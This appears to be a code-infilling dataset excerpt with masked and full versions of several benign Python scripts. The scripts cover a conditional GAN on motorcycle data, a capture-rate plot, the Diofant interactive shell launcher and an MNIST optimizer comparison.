dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.
zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64)))
dl = 0.5 * tf.add(dl_real, dl_fake)
grads = t.gradient(dl, disc.trainable_variables)
grads_norm = 0
for i in range(len(grads)):
grads_norm += tf.reduce_mean(tf.square(grads[i]))
grads_norm /= float(len(grads))
double_grads = td.gradient(grads_norm, disc.trainable_variables)
grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.
trainable_variables[i]) for i in range(len(grads))]
disc.optimizer.apply_gradients(grads_n_vars)
disc.trainable = False
with tf.GradientTape() as td:
with tf.GradientTape() as t:
preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise,
tf.float32)])
bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N)
.reshape([N, 1]), tf.cast(preds, tf.float64)))
grads = t.gradient(bl, both_mod.trainable_variables)
grads_norm = 0
for i in range(len(grads)):
grads_norm += tf.reduce_mean(tf.square(grads[i]))
grads_norm /= float(len(grads))
double_grads = td.gradient(grads_norm, both_mod.trainable_variables)
grads_n_vars = [(grads[i] + doubleback_const * double_grads[i],
both_mod.trainable_variables[i]) for i in range(len(grads))]
both_mod.optimizer.apply_gradients(grads_n_vars)
fig = plt.figure()
plt.scatter(x, y)
some_noise = np.random.normal(size=[N, P])
preds = gen.predict(np.hstack([x, some_noise]))
plt.scatter(x, preds)
plt.savefig('temp.pdf')
| #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# python/motorcycle.py Author "Nathan Wycoff <[email protected]>" Date 06.23.2019
# Run a CGAN on the motorcycle data.
import keras
import numpy as np
from tqdm import tqdm
import matplotlib.pyplot as plt
np.random.seed(123)
import tensorflow as tf
from scipy.optimize import line_search
tf.enable_eager_execution()
tf.set_random_seed(123)
P = 1 # Dim of X data (to be conditioned on)
R = 1 # Dim of latent error variable
Q = 1 # Dim of y data (to be generated)
H = 20# Number of hidden units
epochs = 1000
doubleback_const = 1
# Load and pre-process data
mcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header = 1)
N = mcycle.shape[0]
x = mcycle[:,0].reshape([N,P])
y = mcycle[:,1].reshape([N,Q])
#x /= max(x)
#y = (y-min(y)) / (max(y) - min(y))
x = (x - np.mean(x)) / np.std(x)
y = (y - np.mean(y)) / np.std(y)
# Build the generator, accepts X and Z as inputs
gen = tf.keras.Sequential()
gen.add(tf.keras.layers.Dense(H, input_dim = P + R, activation = tf.keras.activations.elu))
gen.add(tf.keras.layers.Dense(H, activation = tf.keras.activations.elu))
gen.add(tf.keras.layers.Dense(Q))
# Build the discriminator, accepts an X and a Y as inputs.
disc = tf.keras.Sequential()
disc.add(tf.keras.layers.Dense(H, input_dim = P + Q, activation = tf.keras.activations.elu))
disc.add(tf.keras.layers.Dense(H, activation = tf.keras.activations.elu))
disc.add(tf.keras.layers.Dense(1, activation = tf.keras.activations.sigmoid))
gen.summary()
disc.summary()
# NOTE: Compilation of discriminator needs to occur BEFORE we set its weights untrainable below, as these changes will not be reflected until disc is compiled again. So also be wary of compiling disc later, as its weights may not change.
#TODO: the above is a mess, find a better way.
#disc.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy')
disc.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy')
noise = tf.keras.layers.Input(shape = (R,))
xdat = tf.keras.layers.Input(shape = (P,))
genin = tf.keras.layers.concatenate([xdat, noise])
genout = gen(genin)
discin = tf.keras.layers.concatenate([xdat, genout])
validity = disc(discin)
#NOTE: Next lin possible issue in ordering of inputs?
both_mod = tf.keras.models.Model([xdat, noise], validity)
both_mod.layers[5].trainable = False
#both_mod.compile(tf.keras.optimizers.Adam(), 'binary_crossentropy')
#both_mod.compile(tf.train.AdamOptimizer(), 'binary_crossentropy')
both_mod.compile(tf.train.GradientDescentOptimizer(learning_rate = 1.0), 'binary_crossentropy')
## Custom training with double backprop
#genloss = lambda: both_mod.output
#genopt = tf.keras.optimizers.Adam(genloss, both_mod.trainable_variables)
# Do the training!
for epoch in tqdm(range(epochs)):
# Sample some noise
#TODO: Batch size
some_noise = np.random.normal(size=[N,R])
gen_dat = gen.predict(np.hstack([x, some_noise]))
# Train discriminator
#NOTE: Minor discrepency in losses from the manual loop below and from keras's built in: follow up if there appears to be bugs.
#disc_rl = disc.train_on_batch(np.hstack([x, y]), np.ones(N))
#disc_fl = disc.train_on_batch(np.hstack([x, gen_dat]), np.zeros(N))
#disc_loss = 0.5 * np.add(disc_rl, disc_fl)
disc.trainable = True
with tf.GradientTape() as td:
with tf.GradientTape() as t:
#preds_real = disc(tf.cast(np.concatenate([x, y]).reshape([N,P+Q]), tf.float32))
#preds_fake = disc(tf.cast(np.concatenate([x, gen_dat]).reshape([N,P+Q]), tf.float32))
preds_real = disc(tf.cast(np.hstack([x, y.reshape([N,Q])]), tf.float32))
preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))
dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds_real, tf.float64)))
dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.zeros(N).reshape([N,1]), tf.cast(preds_fake, tf.float64)))
dl = 0.5*tf.add(dl_real, dl_fake)
grads = t.gradient(dl, disc.trainable_variables)
grads_norm = 0
for i in range(len(grads)):
#grads_norm += tf.reduce_sum(tf.square(grads[i]))
grads_norm += tf.reduce_mean(tf.square(grads[i]))
grads_norm /= float(len(grads))
double_grads = td.gradient(grads_norm, disc.trainable_variables)
grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.trainable_variables[i]) for i in range(len(grads))]
disc.optimizer.apply_gradients(grads_n_vars)
disc.trainable = False
# Train generator
#both_mod.train_on_batch([x, some_noise], np.ones(N))
# Manually compute and apply gradient
with tf.GradientTape() as td:
with tf.GradientTape() as t:
preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise, tf.float32)])
bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N).reshape([N,1]), tf.cast(preds, tf.float64)))
#bl = tf.losses.sigmoid_cross_entropy(preds, np.ones(N).reshape([N,1]))
grads = t.gradient(bl, both_mod.trainable_variables)
grads_norm = 0
for i in range(len(grads)):
#grads_norm += tf.reduce_sum(tf.square(grads[i]))
grads_norm += tf.reduce_mean(tf.square(grads[i]))
grads_norm /= float(len(grads))
double_grads = td.gradient(grads_norm, both_mod.trainable_variables)
grads_n_vars = [(grads[i] + doubleback_const*double_grads[i], both_mod.trainable_variables[i]) for i in range(len(grads))]
both_mod.optimizer.apply_gradients(grads_n_vars)
# Plot the results
fig = plt.figure()
plt.scatter(x, y)
some_noise = np.random.normal(size=[N,P])
preds = gen.predict(np.hstack([x, some_noise]))
plt.scatter(x, preds)
#plt.savefig("images/motor_scatter.pdf")
plt.savefig("temp.pdf")
| [
0,
1,
2,
3,
4
] |
9,942 | bee96e817dd4d9462c1e3f8eb525c22c2117140a | <mask token>
| <mask token>
plt.figure()
plt.xlabel('Time (ms)', fontsize=30)
plt.ylabel('Capture rate (%)', fontsize=30)
plt.xticks(fontsize=25)
plt.yticks(fontsize=25)
plt.xlim(x_lower_limit, x_upper_limit)
plt.ylim(y_lower_limit, y_upper_limit)
plt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5)
plt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches=
'tight')
plt.show()
| <mask token>
data = np.loadtxt('eff-proton.dat')
show_time = data[0]
show_eff = data[1]
x_lower_limit = 0.0
x_upper_limit = para.T_nu * 1000
y_lower_limit = min(show_eff) - abs(max(show_eff) - min(show_eff))
y_upper_limit = max(show_eff)
plt.figure()
plt.xlabel('Time (ms)', fontsize=30)
plt.ylabel('Capture rate (%)', fontsize=30)
plt.xticks(fontsize=25)
plt.yticks(fontsize=25)
plt.xlim(x_lower_limit, x_upper_limit)
plt.ylim(y_lower_limit, y_upper_limit)
plt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5)
plt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches=
'tight')
plt.show()
| from math import *
import numpy as np
import matplotlib.pyplot as plt
import Input as para
data = np.loadtxt('eff-proton.dat')
show_time = data[0]
show_eff = data[1]
x_lower_limit = 0.0
x_upper_limit = para.T_nu * 1000
y_lower_limit = min(show_eff) - abs(max(show_eff) - min(show_eff))
y_upper_limit = max(show_eff)
plt.figure()
plt.xlabel('Time (ms)', fontsize=30)
plt.ylabel('Capture rate (%)', fontsize=30)
plt.xticks(fontsize=25)
plt.yticks(fontsize=25)
plt.xlim(x_lower_limit, x_upper_limit)
plt.ylim(y_lower_limit, y_upper_limit)
plt.plot(show_time, show_eff, 'b-', markeredgecolor='b', linewidth=5)
plt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches=
'tight')
plt.show()
| #!/usr/bin/env python
from math import *
import numpy as np
import matplotlib.pyplot as plt
import Input as para
data = np.loadtxt("eff-proton.dat")
#data = np.loadtxt("eff-electron.dat")
show_time = data[0]
show_eff = data[1]
#print show_turn, show_eff
#x_lower_limit = min(show_time)
#x_upper_limit = max(show_time)
x_lower_limit = 0.0
x_upper_limit = para.T_nu*1000
y_lower_limit = min(show_eff)-abs(max(show_eff)-min(show_eff))
y_upper_limit = max(show_eff)
plt.figure()
plt.xlabel('Time (ms)', fontsize=30)
plt.ylabel('Capture rate (%)', fontsize=30)
plt.xticks(fontsize=25)
plt.yticks(fontsize=25)
plt.xlim(x_lower_limit, x_upper_limit)
plt.ylim(y_lower_limit, y_upper_limit)
plt.plot(show_time, show_eff, 'b-', markeredgecolor = 'b', linewidth=5)
plt.savefig('eff-vs-time-proton.eps', format='eps', dpi=1000, bbox_inches='tight')
#plt.savefig('eff-vs-time-electron.eps', format='eps', dpi=1000, bbox_inches='tight')
plt.show()
| [
0,
1,
2,
3,
4
] |
9,943 | 80e395715d3ae216beb17e7caed1d8d03c5c56de | <mask token>
def main():
args, ipython_args = parser.parse_known_args()
lines = ['from diofant import *', 'init_printing()',
"a, b, c, d, t, x, y, z = symbols('a:d t x:z')",
"k, m, n = symbols('k m n', integer=True)",
"f, g, h = symbols('f g h', cls=Function)",
'init_printing(pretty_print=True, use_unicode=True)']
try:
import IPython
import traitlets
except ImportError:
args.no_ipython = True
if not args.no_ipython:
config = traitlets.config.loader.Config()
shell = config.InteractiveShell
ast_transformers = shell.ast_transformers
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
shell.confirm_exit = False
config.TerminalIPythonApp.display_banner = False
config.TerminalInteractiveShell.autoformatter = None
app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)
app.initialize(ipython_args)
shell = app.shell
for l in lines:
shell.run_cell(l, silent=True)
if args.auto_symbols:
shell.run_cell(
'from diofant.interactive.session import AutomaticSymbols')
shell.run_cell('ip = get_ipython()')
shell.run_cell(
'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')
shell.run_cell('del ip')
if args.unicode_identifiers:
shell.run_cell(
'from diofant.interactive.session import unicode_identifiers')
shell.run_cell('ip = get_ipython()')
shell.run_cell(
'ip.input_transformers_cleanup.append(unicode_identifiers)')
shell.run_cell('del ip')
app.start()
else:
ast_transformers = []
source_transformers = []
ns = {}
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
if args.auto_symbols:
ast_transformers.append(AutomaticSymbols(ns))
if args.unicode_identifiers:
source_transformers.append(unicode_identifiers)
class DiofantConsole(code.InteractiveConsole):
"""An interactive console with readline support."""
def __init__(self, ast_transformers=[], source_transformers=[],
**kwargs):
super().__init__(**kwargs)
readline.set_completer(rlcompleter.Completer(ns).complete)
readline.parse_and_bind('tab: complete')
history = os.path.expanduser('~/.python_history')
readline.read_history_file(history)
atexit.register(readline.write_history_file, history)
self.ast_transformers = ast_transformers
self.source_transformers = source_transformers
def runsource(self, source, filename='<input>', symbol='single'):
for t in self.source_transformers:
source = '\n'.join(t(source.splitlines()))
try:
tree = ast.parse(source)
except SyntaxError:
return True
for t in self.ast_transformers:
tree = t.visit(tree)
ast.fix_missing_locations(tree)
source = ast.unparse(tree)
source = source.split('\n')
source = ';'.join(source)
return super().runsource(source, filename=filename, symbol=
symbol)
c = DiofantConsole(ast_transformers=ast_transformers,
source_transformers=source_transformers, locals=ns)
for l in lines:
c.push(l)
c.interact('', '')
<mask token>
| <mask token>
parser.add_argument('--no-wrap-division', help=
"Don't wrap integer divisions with Fraction", action='store_true')
parser.add_argument('-a', '--auto-symbols', help=
"Automatically create missing Symbol's", action='store_true')
parser.add_argument('--no-ipython', help="Don't use IPython", action=
'store_true')
parser.add_argument('--unicode-identifiers', help=
'Allow any unicode identifiers', action='store_true')
def main():
args, ipython_args = parser.parse_known_args()
lines = ['from diofant import *', 'init_printing()',
"a, b, c, d, t, x, y, z = symbols('a:d t x:z')",
"k, m, n = symbols('k m n', integer=True)",
"f, g, h = symbols('f g h', cls=Function)",
'init_printing(pretty_print=True, use_unicode=True)']
try:
import IPython
import traitlets
except ImportError:
args.no_ipython = True
if not args.no_ipython:
config = traitlets.config.loader.Config()
shell = config.InteractiveShell
ast_transformers = shell.ast_transformers
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
shell.confirm_exit = False
config.TerminalIPythonApp.display_banner = False
config.TerminalInteractiveShell.autoformatter = None
app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)
app.initialize(ipython_args)
shell = app.shell
for l in lines:
shell.run_cell(l, silent=True)
if args.auto_symbols:
shell.run_cell(
'from diofant.interactive.session import AutomaticSymbols')
shell.run_cell('ip = get_ipython()')
shell.run_cell(
'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')
shell.run_cell('del ip')
if args.unicode_identifiers:
shell.run_cell(
'from diofant.interactive.session import unicode_identifiers')
shell.run_cell('ip = get_ipython()')
shell.run_cell(
'ip.input_transformers_cleanup.append(unicode_identifiers)')
shell.run_cell('del ip')
app.start()
else:
ast_transformers = []
source_transformers = []
ns = {}
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
if args.auto_symbols:
ast_transformers.append(AutomaticSymbols(ns))
if args.unicode_identifiers:
source_transformers.append(unicode_identifiers)
class DiofantConsole(code.InteractiveConsole):
"""An interactive console with readline support."""
def __init__(self, ast_transformers=[], source_transformers=[],
**kwargs):
super().__init__(**kwargs)
readline.set_completer(rlcompleter.Completer(ns).complete)
readline.parse_and_bind('tab: complete')
history = os.path.expanduser('~/.python_history')
readline.read_history_file(history)
atexit.register(readline.write_history_file, history)
self.ast_transformers = ast_transformers
self.source_transformers = source_transformers
def runsource(self, source, filename='<input>', symbol='single'):
for t in self.source_transformers:
source = '\n'.join(t(source.splitlines()))
try:
tree = ast.parse(source)
except SyntaxError:
return True
for t in self.ast_transformers:
tree = t.visit(tree)
ast.fix_missing_locations(tree)
source = ast.unparse(tree)
source = source.split('\n')
source = ';'.join(source)
return super().runsource(source, filename=filename, symbol=
symbol)
c = DiofantConsole(ast_transformers=ast_transformers,
source_transformers=source_transformers, locals=ns)
for l in lines:
c.push(l)
c.interact('', '')
if __name__ == '__main__':
main()
| <mask token>
__all__ = ()
parser = argparse.ArgumentParser(description=__doc__, prog='python -m diofant')
parser.add_argument('--no-wrap-division', help=
"Don't wrap integer divisions with Fraction", action='store_true')
parser.add_argument('-a', '--auto-symbols', help=
"Automatically create missing Symbol's", action='store_true')
parser.add_argument('--no-ipython', help="Don't use IPython", action=
'store_true')
parser.add_argument('--unicode-identifiers', help=
'Allow any unicode identifiers', action='store_true')
def main():
args, ipython_args = parser.parse_known_args()
lines = ['from diofant import *', 'init_printing()',
"a, b, c, d, t, x, y, z = symbols('a:d t x:z')",
"k, m, n = symbols('k m n', integer=True)",
"f, g, h = symbols('f g h', cls=Function)",
'init_printing(pretty_print=True, use_unicode=True)']
try:
import IPython
import traitlets
except ImportError:
args.no_ipython = True
if not args.no_ipython:
config = traitlets.config.loader.Config()
shell = config.InteractiveShell
ast_transformers = shell.ast_transformers
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
shell.confirm_exit = False
config.TerminalIPythonApp.display_banner = False
config.TerminalInteractiveShell.autoformatter = None
app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)
app.initialize(ipython_args)
shell = app.shell
for l in lines:
shell.run_cell(l, silent=True)
if args.auto_symbols:
shell.run_cell(
'from diofant.interactive.session import AutomaticSymbols')
shell.run_cell('ip = get_ipython()')
shell.run_cell(
'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')
shell.run_cell('del ip')
if args.unicode_identifiers:
shell.run_cell(
'from diofant.interactive.session import unicode_identifiers')
shell.run_cell('ip = get_ipython()')
shell.run_cell(
'ip.input_transformers_cleanup.append(unicode_identifiers)')
shell.run_cell('del ip')
app.start()
else:
ast_transformers = []
source_transformers = []
ns = {}
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
if args.auto_symbols:
ast_transformers.append(AutomaticSymbols(ns))
if args.unicode_identifiers:
source_transformers.append(unicode_identifiers)
class DiofantConsole(code.InteractiveConsole):
"""An interactive console with readline support."""
def __init__(self, ast_transformers=[], source_transformers=[],
**kwargs):
super().__init__(**kwargs)
readline.set_completer(rlcompleter.Completer(ns).complete)
readline.parse_and_bind('tab: complete')
history = os.path.expanduser('~/.python_history')
readline.read_history_file(history)
atexit.register(readline.write_history_file, history)
self.ast_transformers = ast_transformers
self.source_transformers = source_transformers
def runsource(self, source, filename='<input>', symbol='single'):
for t in self.source_transformers:
source = '\n'.join(t(source.splitlines()))
try:
tree = ast.parse(source)
except SyntaxError:
return True
for t in self.ast_transformers:
tree = t.visit(tree)
ast.fix_missing_locations(tree)
source = ast.unparse(tree)
source = source.split('\n')
source = ';'.join(source)
return super().runsource(source, filename=filename, symbol=
symbol)
c = DiofantConsole(ast_transformers=ast_transformers,
source_transformers=source_transformers, locals=ns)
for l in lines:
c.push(l)
c.interact('', '')
if __name__ == '__main__':
main()
| <mask token>
import argparse
import ast
import atexit
import code
import os
import readline
import rlcompleter
from diofant.interactive.session import AutomaticSymbols, IntegerDivisionWrapper, unicode_identifiers
__all__ = ()
parser = argparse.ArgumentParser(description=__doc__, prog='python -m diofant')
parser.add_argument('--no-wrap-division', help=
"Don't wrap integer divisions with Fraction", action='store_true')
parser.add_argument('-a', '--auto-symbols', help=
"Automatically create missing Symbol's", action='store_true')
parser.add_argument('--no-ipython', help="Don't use IPython", action=
'store_true')
parser.add_argument('--unicode-identifiers', help=
'Allow any unicode identifiers', action='store_true')
def main():
args, ipython_args = parser.parse_known_args()
lines = ['from diofant import *', 'init_printing()',
"a, b, c, d, t, x, y, z = symbols('a:d t x:z')",
"k, m, n = symbols('k m n', integer=True)",
"f, g, h = symbols('f g h', cls=Function)",
'init_printing(pretty_print=True, use_unicode=True)']
try:
import IPython
import traitlets
except ImportError:
args.no_ipython = True
if not args.no_ipython:
config = traitlets.config.loader.Config()
shell = config.InteractiveShell
ast_transformers = shell.ast_transformers
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
shell.confirm_exit = False
config.TerminalIPythonApp.display_banner = False
config.TerminalInteractiveShell.autoformatter = None
app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)
app.initialize(ipython_args)
shell = app.shell
for l in lines:
shell.run_cell(l, silent=True)
if args.auto_symbols:
shell.run_cell(
'from diofant.interactive.session import AutomaticSymbols')
shell.run_cell('ip = get_ipython()')
shell.run_cell(
'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')
shell.run_cell('del ip')
if args.unicode_identifiers:
shell.run_cell(
'from diofant.interactive.session import unicode_identifiers')
shell.run_cell('ip = get_ipython()')
shell.run_cell(
'ip.input_transformers_cleanup.append(unicode_identifiers)')
shell.run_cell('del ip')
app.start()
else:
ast_transformers = []
source_transformers = []
ns = {}
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
if args.auto_symbols:
ast_transformers.append(AutomaticSymbols(ns))
if args.unicode_identifiers:
source_transformers.append(unicode_identifiers)
class DiofantConsole(code.InteractiveConsole):
"""An interactive console with readline support."""
def __init__(self, ast_transformers=[], source_transformers=[],
**kwargs):
super().__init__(**kwargs)
readline.set_completer(rlcompleter.Completer(ns).complete)
readline.parse_and_bind('tab: complete')
history = os.path.expanduser('~/.python_history')
readline.read_history_file(history)
atexit.register(readline.write_history_file, history)
self.ast_transformers = ast_transformers
self.source_transformers = source_transformers
def runsource(self, source, filename='<input>', symbol='single'):
for t in self.source_transformers:
source = '\n'.join(t(source.splitlines()))
try:
tree = ast.parse(source)
except SyntaxError:
return True
for t in self.ast_transformers:
tree = t.visit(tree)
ast.fix_missing_locations(tree)
source = ast.unparse(tree)
source = source.split('\n')
source = ';'.join(source)
return super().runsource(source, filename=filename, symbol=
symbol)
c = DiofantConsole(ast_transformers=ast_transformers,
source_transformers=source_transformers, locals=ns)
for l in lines:
c.push(l)
c.interact('', '')
if __name__ == '__main__':
main()
| """
Python shell for Diofant.
This is just a normal Python shell (IPython shell if you have the
IPython package installed), that adds default imports and run
some initialization code.
"""
import argparse
import ast
import atexit
import code
import os
import readline
import rlcompleter
from diofant.interactive.session import (AutomaticSymbols,
IntegerDivisionWrapper,
unicode_identifiers)
__all__ = ()
parser = argparse.ArgumentParser(description=__doc__,
prog='python -m diofant')
parser.add_argument('--no-wrap-division',
help="Don't wrap integer divisions with Fraction",
action='store_true')
parser.add_argument('-a', '--auto-symbols',
help="Automatically create missing Symbol's",
action='store_true')
parser.add_argument('--no-ipython', help="Don't use IPython",
action='store_true')
parser.add_argument('--unicode-identifiers',
help='Allow any unicode identifiers',
action='store_true')
def main():
args, ipython_args = parser.parse_known_args()
lines = ['from diofant import *',
'init_printing()',
"a, b, c, d, t, x, y, z = symbols('a:d t x:z')",
"k, m, n = symbols('k m n', integer=True)",
"f, g, h = symbols('f g h', cls=Function)",
'init_printing(pretty_print=True, use_unicode=True)']
try:
import IPython
import traitlets
except ImportError:
args.no_ipython = True
if not args.no_ipython:
config = traitlets.config.loader.Config()
shell = config.InteractiveShell
ast_transformers = shell.ast_transformers
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
shell.confirm_exit = False
config.TerminalIPythonApp.display_banner = False
config.TerminalInteractiveShell.autoformatter = None
app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)
app.initialize(ipython_args)
shell = app.shell
for l in lines:
shell.run_cell(l, silent=True)
if args.auto_symbols:
shell.run_cell('from diofant.interactive.session import AutomaticSymbols')
shell.run_cell('ip = get_ipython()')
shell.run_cell('ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')
shell.run_cell('del ip')
if args.unicode_identifiers:
shell.run_cell('from diofant.interactive.session import unicode_identifiers')
shell.run_cell('ip = get_ipython()')
shell.run_cell('ip.input_transformers_cleanup.append(unicode_identifiers)')
shell.run_cell('del ip')
app.start()
else:
ast_transformers = []
source_transformers = []
ns = {}
if not args.no_wrap_division:
ast_transformers.append(IntegerDivisionWrapper())
if args.auto_symbols:
ast_transformers.append(AutomaticSymbols(ns))
if args.unicode_identifiers:
source_transformers.append(unicode_identifiers)
class DiofantConsole(code.InteractiveConsole):
"""An interactive console with readline support."""
def __init__(self, ast_transformers=[],
source_transformers=[], **kwargs):
super().__init__(**kwargs)
readline.set_completer(rlcompleter.Completer(ns).complete)
readline.parse_and_bind('tab: complete')
history = os.path.expanduser('~/.python_history')
readline.read_history_file(history)
atexit.register(readline.write_history_file, history)
self.ast_transformers = ast_transformers
self.source_transformers = source_transformers
def runsource(self, source, filename='<input>', symbol='single'):
for t in self.source_transformers:
source = '\n'.join(t(source.splitlines()))
try:
tree = ast.parse(source)
except SyntaxError:
return True
for t in self.ast_transformers:
tree = t.visit(tree)
ast.fix_missing_locations(tree)
source = ast.unparse(tree)
source = source.split('\n')
source = ';'.join(source)
return super().runsource(source, filename=filename, symbol=symbol)
c = DiofantConsole(ast_transformers=ast_transformers,
source_transformers=source_transformers, locals=ns)
for l in lines:
c.push(l)
c.interact('', '')
if __name__ == '__main__': # pragma: no branch
main()
| [
1,
2,
3,
4,
5
] |
9,944 | 85d40a49341c7bd7af7a5dc62e4bce0253eb25e6 | <mask token>
| <mask token>
sys.path.append(os.pardir)
<mask token>
for key in optimizers.keys():
networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100,
100, 100, 100], output_size=10)
train_loss[key] = []
for i in range(max_iterations):
batch_mask = np.random.choice(train_size, batch_size)
x_batch = x_train[batch_mask]
t_batch = t_train[batch_mask]
for key in optimizers.keys():
grads = networks[key].gradient(x_batch, t_batch)
optimizers[key].update(networks[key].params, grads)
loss = networks[key].loss(x_batch, t_batch)
train_loss[key].append(loss)
if i % 100 == 0:
print('===========' + 'iteration:' + str(i) + '===========')
for key in optimizers.keys():
loss = networks[key].loss(x_batch, t_batch)
print(key + ':' + str(loss))
<mask token>
for key in optimizers.keys():
plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key],
markevery=100, label=key)
plt.xlabel('iterations')
plt.ylabel('loss')
plt.ylim(0, 1)
plt.legend()
plt.show()
| <mask token>
sys.path.append(os.pardir)
<mask token>
(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True)
train_size = x_train.shape[0]
batch_size = 128
max_iterations = 2000
optimizers = {}
optimizers['SGD'] = SGD()
optimizers['Momentum'] = Momentum()
optimizers['AdaGrad'] = AdaGrad()
optimizers['Adam'] = Adam()
networks = {}
train_loss = {}
for key in optimizers.keys():
networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100,
100, 100, 100], output_size=10)
train_loss[key] = []
for i in range(max_iterations):
batch_mask = np.random.choice(train_size, batch_size)
x_batch = x_train[batch_mask]
t_batch = t_train[batch_mask]
for key in optimizers.keys():
grads = networks[key].gradient(x_batch, t_batch)
optimizers[key].update(networks[key].params, grads)
loss = networks[key].loss(x_batch, t_batch)
train_loss[key].append(loss)
if i % 100 == 0:
print('===========' + 'iteration:' + str(i) + '===========')
for key in optimizers.keys():
loss = networks[key].loss(x_batch, t_batch)
print(key + ':' + str(loss))
markers = {'SGD': 'o', 'Momentum': 'x', 'AdaGrad': 's', 'Adam': 'D'}
x = np.arange(max_iterations)
for key in optimizers.keys():
plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key],
markevery=100, label=key)
plt.xlabel('iterations')
plt.ylabel('loss')
plt.ylim(0, 1)
plt.legend()
plt.show()
| import sys, os
sys.path.append(os.pardir)
import matplotlib.pyplot as plt
from dataset.mnist import load_mnist
from common.util import smooth_curve
from common.multi_layer_net import MultiLayerNet
from common.optimizer import *
(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True)
train_size = x_train.shape[0]
batch_size = 128
max_iterations = 2000
optimizers = {}
optimizers['SGD'] = SGD()
optimizers['Momentum'] = Momentum()
optimizers['AdaGrad'] = AdaGrad()
optimizers['Adam'] = Adam()
networks = {}
train_loss = {}
for key in optimizers.keys():
networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100,
100, 100, 100], output_size=10)
train_loss[key] = []
for i in range(max_iterations):
batch_mask = np.random.choice(train_size, batch_size)
x_batch = x_train[batch_mask]
t_batch = t_train[batch_mask]
for key in optimizers.keys():
grads = networks[key].gradient(x_batch, t_batch)
optimizers[key].update(networks[key].params, grads)
loss = networks[key].loss(x_batch, t_batch)
train_loss[key].append(loss)
if i % 100 == 0:
print('===========' + 'iteration:' + str(i) + '===========')
for key in optimizers.keys():
loss = networks[key].loss(x_batch, t_batch)
print(key + ':' + str(loss))
markers = {'SGD': 'o', 'Momentum': 'x', 'AdaGrad': 's', 'Adam': 'D'}
x = np.arange(max_iterations)
for key in optimizers.keys():
plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key],
markevery=100, label=key)
plt.xlabel('iterations')
plt.ylabel('loss')
plt.ylim(0, 1)
plt.legend()
plt.show()
| # coding: utf-8
import sys, os
sys.path.append(os.pardir)
import matplotlib.pyplot as plt
from dataset.mnist import load_mnist
from common.util import smooth_curve
from common.multi_layer_net import MultiLayerNet
from common.optimizer import *
# 0. MNIST 데이터 로딩
(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True)
train_size = x_train.shape[0]
batch_size = 128
max_iterations = 2000
# 1. 실험용 설정 셋팅
optimizers = {}
optimizers['SGD'] = SGD()
optimizers['Momentum'] = Momentum()
optimizers['AdaGrad'] = AdaGrad()
optimizers['Adam'] = Adam()
#network, loss를 저장할 dictionary를 설정
networks = {}
train_loss = {}
#각 optimizer마다 network를 MultiLayerNet을 이용해서 똑같은 구조로 만들고, train_loss 딕셔너리를 초기화 한다.
for key in optimizers.keys():
networks[key] = MultiLayerNet(input_size=784,
hidden_size_list=[100, 100, 100, 100],
output_size=10)
train_loss[key] = []
# 2. 훈련 시작
for i in range(max_iterations):
#4개의 최적화 기법에 똑같이 들어갈 batch 생성
batch_mask = np.random.choice(train_size, batch_size)
x_batch = x_train[batch_mask]
t_batch = t_train[batch_mask]
for key in optimizers.keys():
grads = networks[key].gradient(x_batch, t_batch) #배치를 넣어서 각 네트워크의 기울기를 구함
optimizers[key].update(networks[key].params, grads) #네트워크의 parameter를 기울기에 대해 update함
loss = networks[key].loss(x_batch, t_batch) #사실 이것이 먼저 계산되어야 하지만, 이 코드에서는 기록용으로 저장
train_loss[key].append(loss) #각 최적화 기법의 학습 loss 리스트에 저장
#학습 진행 경과 및 각 최적화 기법에 해당하는 loss 확인
if i % 100 == 0:
print("===========" + "iteration:" + str(i) + "===========")
for key in optimizers.keys():
loss = networks[key].loss(x_batch, t_batch)
print(key + ':' + str(loss))
# 3. 그래프 그리기
